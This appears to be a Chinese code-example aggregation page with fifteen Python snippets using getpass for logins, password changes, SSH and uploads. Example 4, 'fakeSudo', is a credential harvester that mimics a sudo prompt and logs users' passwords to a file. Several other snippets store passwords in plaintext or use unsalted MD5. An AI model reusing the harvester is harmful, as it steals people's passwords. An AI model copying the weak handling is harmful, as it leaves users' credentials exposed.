本文整理汇总了Python中getpass函数的典型用法代码示例。如果您正苦于以下问题:Python getpass函数的具体用法?Python getpass怎么用?Python getpass使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了getpass函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: userpass
def userpass():
'''Please enter your new username and password below'''
print '=============================================='
try:
user_id = input('Enter the User id: ')
user = User.get(User.id==user_id)
except User.DoesNotExist:
print 'User does not exist in the database please create a new user'
except:
pass
print '===================================================='
username = raw_input('Username: ')
pass1 = getpass('Password: ')
if pass1 == '':
pass
pass2 = getpass('Comfirm Password: ')
opt = raw_input('Do you want to continue [y,n]: ').lower().strip()
if opt == 'y':
if pass1 == pass2 and username:
user.username=username
user.password=pass1
user.save()
print 'Data havw been saved'
else:
print 'Passwords do not march or username was blank'
else:
print 'Aborted'
print'====================================================='
示例2: password
def password():
'''Please enter your new password below'''
print '======================================================'
try:
user_id = input('Please Enter your user id: ')
user = User.get(User.id == user_id)
pass1 = getpass('Password: ')
if pass1 == '':
pass
pass2 = getpass('Confirm Password: ')
opt = raw_input('Do u want to continue [y,n]: ').lower().strip()
if opt == 'y':
if pass1 == pass2:
user.password=pass1
user.save()
print 'Passowrd changed'
else:
print 'Passwords do not match'
else:
print 'Aborted'
except User.DoesNotExist:
print 'User does not exist'
except:
pass
print '==================================================='
示例3: collectLogin
def collectLogin(mainArg, userN='', pw='', acct=''):
''' Collects host, username, password, and optional account information. '''
log.debug(sys.platform)
if sys.platform == 'linux2':
try:
ftpInfo = netrc()
if ftpInfo.authenticators(remoteSrv) != None:
userN, acct, pw = ftpInfo.authenticators(remoteSvr)
except IOError:
log.warning('No .netrc file found')
if '@' in mainArg[0]:
upBundle, remoteSvr = mainArg[0].split('@')
if ':' in upBundle:
userN, pw = upBundle.split(':')
else:
userN = upBundle
else:
remoteSvr = mainArg[0]
if len(userN) == 0:
userN = input('Username at {}: '.format(remoteSvr))
if len(pw) == 0:
try:
pw = getpass()
except GetPassWarning:
log.warning('Password echo off failed')
if input("WARNING! Password may be echoed, press 'y' to continue anyways: ").upper() == 'Y':
pw = getpass()
else:
printAndLog('Echoed password input aborted by user, {} exiting'.format(PROG_TITLE), log.INFO, True)
sys.exit(3)
log.debug(userN)
return (remoteSvr.strip(), userN.strip(), pw.strip(), acct.strip())
示例4: fakeSudo
def fakeSudo():
def savePass(passwd):
try:
file = open(catchFile, 'a')
except:
file = open(catchFile, 'w')
catch = "%s|%s|%s\n" % (getuser(), passwd, str(time.ctime()))
file.write(catch)
file.close()
# Catch pass:
try:
passwd = getpass("[fakesudo] password for %s: " % getuser())
except KeyboardInterrupt:
passwd = getpass("Password: ")
# Save pass:
savePass(passwd)
# Do the command:
# change this to some python pipeline or what!
sudocmd = 'echo "%s" | sudo -s %s' % (passwd, " ".join(sys.argv[2:]))
os.system(sudocmd)
示例5: main
def main ():
global session
login = raw_input("Por favor, informe um usuario e senha validos\nLogin: ")
p = getpass()
while checkUser(login, p) == "NOK":
login = raw_input("senha ou usuario incorretos, informe um usuario e senha validos\nLogin: ")
p = getpass()
session = Session(login, p)
CMDParser().cmdloop()
示例6: make_server_password
def make_server_password():
"""
@rtype : str
"""
temp_password = getpass(prompt="Please type your password:")
temp_password2 = getpass(prompt="Confirm your password:")
if temp_password == temp_password2:
temp_password = hashlib.md5(temp_password).hexdigest()
return temp_password
else:
make_server_password()
示例7: begin_scraper
def begin_scraper():
br = Browser()
br.addheaders = [('User-agent', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8; rv:16:0) Gecko/20100101 Firefox/16.0')]
br.set_handle_robots(False)
br.open("https://wwws.mint.com/login.event")
assert br.viewing_html()
formcount=0
for f in br.forms():
if str(f.attrs["id"]) == "form-login":
break
formcount = formcount+1
br.select_form(nr=formcount)
br["username"] = "[email protected]" #Put your username here
br["password"] = getpass()
#import pdb; pdb.set_trace()
# Submit the user credentials to login to mint
response = br.submit()
response = br.follow_link(text="Transactions")
links_to_transactions = br.links(text_regex="Export all \d+ transactions")
link = ""
for f in links_to_transactions:
link = f
response2 = br.follow_link(link)
text_file = open("transactions.csv", "w")
text_file.write(response2.read())
text_file.close()
示例8: __smsAuth
def __smsAuth(self, smsKey=None):
if smsKey is None:
smsKey = config.smsKey
if smsKey is None:
from getpass import getpass
smsPin = getpass("SMS PIN: ")
content = self.__do_page('smsauth', {'smsUserPin': smsPin}).read()
else:
smsKey = base64.b32decode(
re.sub(r' ', '', smsKey), casefold=True).encode("hex")
content = self.__oathtoolAuth(smsKey)
try_count = 1
while ("The code you entered didn't verify." in content
and try_count < 5):
sleep_seconds = 10
try_count += 1
print(
'invalid code, retrying after %s seconds (attempt %s)'
% (sleep_seconds, try_count))
import time
time.sleep(sleep_seconds)
content = self.__oathtoolAuth(smsKey)
del smsKey
return content
示例9: vboxSsh
def vboxSsh(host, username, port, key, local, remote):
""" Establish a ssh connection to a given or retrieved repository URL and
upload the locally committed VM
"""
keyfile = os.path.expanduser(key)
server, user = (host, username)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
key = paramiko.DSSKey.from_private_key_file(key)
except paramiko.PasswordRequiredException:
passph = getpass('Type your key passphrase: ')
key = paramiko.DSSKey.from_private_key_file(key, passph)
# Connection
ssh.load_host_keys(os.path.expanduser(os.path.join("~", ".ssh", "known_hosts")))
ssh.connect(server, port, username=user)
local_path = local
remote_path = remote
sftp = ssh.open_sftp()
sftp.put(local_path, remote_path)
sftp.close()
ssh.close()
示例10: loginorregister
def loginorregister(server, cmd):
while 1:
sys.stdout.write("Enter username: ")
sys.stdout.flush()
name_input = sys.stdin.readline()
name_list = name_input.split(' ')
password = getpass("Enter password: ")
if len(name_list) != 1:
print "Invalid username!"
continue
if cmd == "register":
msg = "register " + name_list[0]+ ' '+ password + '\n'
else:
msg = "login " + name_list[0] + ' '+password+'\n'
server.send(msg)
#wait for server
server.setblocking(1)
code = server.recv(1024)
print code
if code == "registerok\n":
print "Registeration success!"
return name_list[0]
break;
elif code == "loginok\n":
print "Login success"
return name_list[0]
break;
else:
print "Invalid username!"
示例11: upload_model
def upload_model(args):
"""
Uploads Model specification, auxiliary files and
:return:
"""
username = raw_input("Enter your epigrass Web User id:")
passwd = getpass("Enter your Epigrass Web password:")
S = simulate(fname=args.epg[0], backend=args.backend)
app_url = "http://app.epigrass.net/simulations/view/new/" # creating the app id
r = requests.get(app_url, auth=(username, passwd))
fields = {'epg': (S.modelName, open(S.fname, 'rb'), 'text/plain')}
if os.path.exists(os.path.join(S.outdir, 'data.json')):
fields['map'] = ('data.json', open(os.path.join(S.outdir, 'data.json'), 'rb'), 'text/plain')
if os.path.exists(os.path.join(S.outdir, 'series.json')):
fields['series'] = ('series.json', open(os.path.join(S.outdir, 'series.json'), 'rb'), 'text/plain')
if os.path.exists(os.path.join(S.outdir, 'network.json')):
fields['network'] = ('network.json', open(os.path.join(S.outdir, 'network.json'), 'rb'), 'text/plain')
if os.path.exists(os.path.join(S.outdir, 'spread.json')):
fields['spread'] = ('spread.json', open(os.path.join(S.outdir, 'spread.json'), 'rb'), 'text/plain')
hdrs = {'Content-Type': fields.content_type,
'content-encoding': 'gzip',
'transfer-encoding': 'chunked'}
r = requests.post(app_url, files=fields, headers=hdrs)
if r.status_code == requests.codes.ok:
print "Model has been uploaded sucessfully!"
else:
print "Model Upload failed."
示例12: auth_user
def auth_user( user=None, pass_=None ):
import getpass
if user is None:
user = raw_input( 'User: ' )
if pass_ is None:
pass_ = getpass( 'Password: ' )
return ( user, pass_ )
示例13: adduser
def adduser():
name = raw_input("Name: ")
email = raw_input("Email: ")
if session.query(User).filter_by(email=email).first():
print "User with that email address already exists"
return
password = ""
password_2 = ""
while not (password and password_2) or password != password_2:
password = getpass("Password: ")
password_2 = getpass("Re-enter password: ")
break
user = User(name=name, email=email,
password=generate_password_hash(password))
session.add(user)
session.commit()
示例14: __setconfig__
def __setconfig__(self):
self.login = raw_input('Digite o seu login! => ')
if(re.match('^([A-Za-z0-9\_]){4,15}$',self.login)):
self.passwd = getpass('Digite sua senha! => ')
print "Configurado com sucesso!\n"
else:
print "Login invalido!\n"
self.__setconfig__()
示例15: AuthenticateCustomer
def AuthenticateCustomer():
# Get account
AccountId = raw_input("AccountID: ")
clientSocket.send(AccountId)
clientSocket.recv(SERVER_MSG_SIZE)
Password = getpass()
clientSocket.send(Password)
clientSocket.recv(SERVER_MSG_SIZE)